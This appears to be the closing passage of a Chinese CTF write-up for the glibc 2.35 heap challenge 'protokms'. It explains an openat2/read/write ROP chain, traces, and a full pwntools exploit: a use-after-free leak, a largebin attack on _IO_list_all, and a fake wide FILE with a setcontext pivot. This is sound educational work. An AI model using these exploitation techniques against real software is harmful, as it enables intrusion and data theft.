主程序有限制,最后不能直接靠 system("/bin/sh") 收尾,所以实际 payload 走的是:
openat2readwrite
脚本里对应的 syscall 链是:
pay += flat(
437, # openat2
rdi, -0x64, # AT_FDCWD
rsi, addr, # "/flag"
rdx, 0x18, 0,
add_r10_rdx, # r10 = 0x18
rdx, heap+0x20, 0,
syscall
)
pay += flat(
rax, 0,
rdi, 3,
rsi, addr2,
rdx, 0x30, 0,
syscall
)
pay += flat(
rax, 1,
rdi, 1,
rsi, addr2,
syscall
)这里一个很容易写错的点是:
437 不是 openat,而是 openat2之所以专门找一个把 r10 设成 0x18 的 gadget,是因为 openat2 的第 4 个参数 size 走的是 syscall ABI 里的 r10。
阶段 11:最后如何触发
最后并不是显式调用 fake FILE,而是给主循环发一个非法长度:
s(p16(0x1000))程序看到 0x1000 > 0x3ff 以后,会打印:
[FATAL] Invalid packet length.然后结束主循环并进入退出阶段。此时 glibc 刷新 _IO_list_all,于是命中我们堆上的 fake FILE。
本地验证结果
tracefull.3885 里最关键的几行是:
write(1, "[FATAL] Invalid packet length.", 32) = 32
syscall_0x1b5(... "/flag" ..., 0x18, ...) = 0x3
read(3, "flag{1111}", 48) = 10
write(1, "flag{1111}...", 48) = 48这已经足够说明:
- 非法长度成功触发退出路径。
_IO_list_all劫持后的 fake FILE 真的执行了。openat2确实成功打开了/flag。read和write也都跑通了。
最后的崩溃不影响拿 flag,因为 ORW 已经执行完了。
一句话概括这题
这题最关键的不是某个单独技巧,而是三个点接在一起:
protobuf协议让它看起来不像普通菜单题。CREATE的失败路径把“申请、记录、校验、释放”的顺序写反了,制造出稳定 stale slot。- glibc 2.35 上再把这个 stale slot 扩展成:
- 堆切割
- leak
- free fake chunk
- largebin attack
_IO_list_all- wide FILE +
setcontext
把这几个点串起来以后,这题就从“一个奇怪的 protobuf 服务”变成了一道很完整的现代 glibc 2.35 FILE 利用题。
调试截图
下面这些图就是你调试时留下来的关键布局,和上文阶段一一对应。正文里已经把每一步在做什么说清楚了,这里保留作辅助对照。
一开始简单申请,确认基础状态:
之后进行基础布局:
释放对应 chunk:
重复操作,拿到第一批 UAF 相关布局:
合并出后面用于切割的大 chunk:
继续释放,形成后续 leak 所需的链表状态:
把 UAF chunk 再次拿回来,为稳定切 0x110 做准备:
再次释放:
继续往后切割:
恢复切割 chunk 的整体形状,同时保留残留指针:
残留指针生效后的状态:
再次申请回来,并埋 fake chunk 相关标志位:
继续补后面的 chunk 头:
通过 free(fake chunk) 成功把 largebin victim 放进 bin:
后续继续推进 allocator 状态:
再一次利用切割和整理,把目标推进到 largebin attack 可用的状态:
最后 _IO_list_all 被成功改到堆上:
到这里,exit 路径就会命中 fake FILE,最终把 flag 打出来。
最终exp如下
#!/usr/bin/python3
from pwn import *
from kms_pb2 import Credential
from kms_pb2 import KmsRequest
from kms_pb2 import KmsResponse
context.terminal = ['tmux', 'split-window', '-l 100']
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recvn(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recvn(x),16)
it = lambda : p.interactive()
file_name = './protokms'
ld_name = './ld-linux-x86-64.so.2'
libc_name = './libc.so.6'
libpath = '.'
p = process([ld_name, '--library-path', libpath, file_name])
#p = remote(")
elf = ELF(file_name, checksec=False)
libc = ELF(libc_name, checksec=False)
pie = 1
def dbg(* addrs):
pay = ''
if pie:
for i in addrs:
pay += 'b *$rebase( ' + str(i) + ')' + '\n'
else:
for i in addrs:
pay += 'b *' + str(i) + '\n'
gdb.attach(p,pay)
def get_cred(id,name,size,key):
return [id,name,size,key]
def get_req(action,cred):
req = KmsRequest()
req.action = action
req.cred.id = cred[0]
req.cred.service_name = cred[1]
req.cred.key_size = cred[2]
req.cred.secret_key = cred[3]
return req.SerializeToString()
def recv_resp():
size = u16(p.recvn(2))
data = p.recvn(size)
resp = KmsResponse()
resp.ParseFromString(data)
return resp
def add(id,name,key_size,content):
cred = get_cred(id,name,key_size,content)
pay = get_req(0,cred)
length = p16(len(pay))
s(length+pay)
return recv_resp()
def free(id):
cred = get_cred(id,'aaa',0,b"aaa")
pay = get_req(3,cred)
length = p16(len(pay))
s(length+pay)
return recv_resp()
def show(id):
cred = get_cred(id,'aaa',0,b"aaa")
pay = get_req(1,cred)
length = p16(len(pay))
s(length+pay)
return recv_resp()
def edit(id,size,content):
cred = get_cred(id,'aaa',size,content)
pay = get_req(2,cred)
length = p16(len(pay))
s(length+pay)
return recv_resp()
def debug():
gdb.attach(p)
pause()
for i in range(7):
add(i,'aaa',0x100,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x80,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x130,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x210,b'a')
free(i)
# dbg(0x2818)
# add(0,'aaa',0x30,b'a'*0x30)
# free(0)
add(0,'aaa',0x120,b'a'*0x120)
free(0)
add(0,'aaa',0x210,b'a'*0x210)
free(0)
add(0,'aaa',0x100,b'a'*0x100)
add(1,'aaa',0x100,b'a'*0x100)
add(2,'aaa',0x100,b'a'*0x100)
add(7,'aaa',0x100,b'a'*0x100)
add(8,"aaa",0x3f0,b'a'*0x100)
add(9,"aaa",0x100,b'a'*0x100)
add(10,"aaa",0x100,b'a'*0x100)
add(11,"aaa",0x100,b'a'*0x100)
add(12,"aaa",0x100,b'a'*0x100)
add(13,"aaa",0x300,b'a')
free(0)
#拿到第一块uaf的堆块
add(0,'aaa',0x100,b'a'*0x120)
add(3,'aaa',0x100,b'a'*0x100)
#拿到第二块uaf的堆块
free(1)
add(1,'aaa',0x100,b'a'*0x120)
#dbg()
free(0)
#dbg()
free(7)
#dbg()
resp = show(3)
leak = resp.cred.secret_key
libc.address = u64(leak[:6].ljust(8,b'\x00')) - 0x21ace0
pr(libc.address)
heap = u64(leak[8:14].ljust(8,b'\x00'))
pr(heap)
#dbg(0x025E7)
add(4,'aaa',0x210,b'a')
add(5,'aaa',0x100,b'a')
free(4)
#dbg()
add(4,"aaa",0x130,b'a')
add(6,"aaa",0x80,b'a'*0x100) # 6
free(4)
#dbg()
# debug()
target = libc.sym["_IO_list_all"]
pay = b'a' * 0x100 + flat(0,0x421,0,0,0,0,0,0x431)
pay = pay.ljust(0x210,b'\0')
add(4,'aaa',0x210,pay)
#dbg()
edit(8,0x3f0,b'a'*0xe0+flat(0,0x21,0,0,0,0x21,0,0,0,0x21,0,0,0,0x21))
free(6) #0x430进入unsortedbin
#dbg()
free(10)
add(10,'aaa',0x100,b'a')
pay = b'a'*0x100+flat(0,0x421,0,0,0,0,0,0x431,0,0,0,target-0x20)
pay = pay.ljust(0x210,b'\0')
edit(4,0x210,pay)
free(1)
#dbg()
free(12)
add(12,'aaa',0x100,b'a')
#dbg()
# debug()
rax = next(libc.search(asm("pop rax;ret"),executable=True))
rdi = next(libc.search(asm("pop rdi;ret"),executable=True))
rsi = next(libc.search(asm("pop rsi;ret"),executable=True))
rdx = next(libc.search(asm("pop rdx;pop r12;ret"),executable=True))
# r10 = next(libc.search(asm("pop r10;ret"),executable=True))
add_r10_rdx = libc.address + 0x0000000000142da9
syscall = next(libc.search(asm("syscall;ret"),executable=True))
heap_addr = heap + 0x960
pay = flat({
0x0: heap_addr + 0xb0,
0x8: b'/flag\x00\x00\0',
0xa0: heap_addr + 0xb0,
0xa8: rax
},filler = p64(heap)) #其余位置必须是一个地址,否则会报错,数值是什么都无所谓
pay = pay.ljust(0xb0,b'\x00')
#前面是
addr = heap_addr + 0x8 # '/flag地址'
addr2 = heap_addr + 0x10 # 存放flag的地址
#这里用的是 openat
pay += flat(437,rdi,-0x64,rsi,addr,rdx,0x18,0,add_r10_rdx,rdx,heap+0x20,0,syscall)
pay += flat(rax,0,rdi,3,rsi,addr2,rdx,0x30,0,syscall)
pay += flat(rax,1,rdi,1,rsi,addr2,syscall)
pay = pay.ljust(0x210,b'\0')
edit(13,0x210,pay)
fake_addr = heap - 0x220 # 自己的地址
wide_data_offset = 0x0
pay = flat({
0x0: b"/bin/sh\0", #_flags=rdi
0x8+wide_data_offset: p64(1), # wide->data->write_base and mode
0x10+wide_data_offset: p64(heap_addr), # wide->data->write_ptr and rdx
0x18+wide_data_offset: p64(libc.sym["setcontext"]+0x3d), # call
0x88: p64(fake_addr + 0x30), # _lock = a writable address == 0
0xa0: p64(fake_addr - 0x10+wide_data_offset), # wide_data
0xc0: p64(1), # mode
0xd0+wide_data_offset: p64(fake_addr+wide_data_offset), # rax
0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30)},filler = b'\0')
pd = b'a' * 0x100 + pay
pd = pd.ljust(0x210,b'\0')
edit(4,0x210,pd)
# dbg(0x2ECB)
gdb.attach(p,"b _IO_switch_to_wget_mode")
s(p16(0x1000))
it()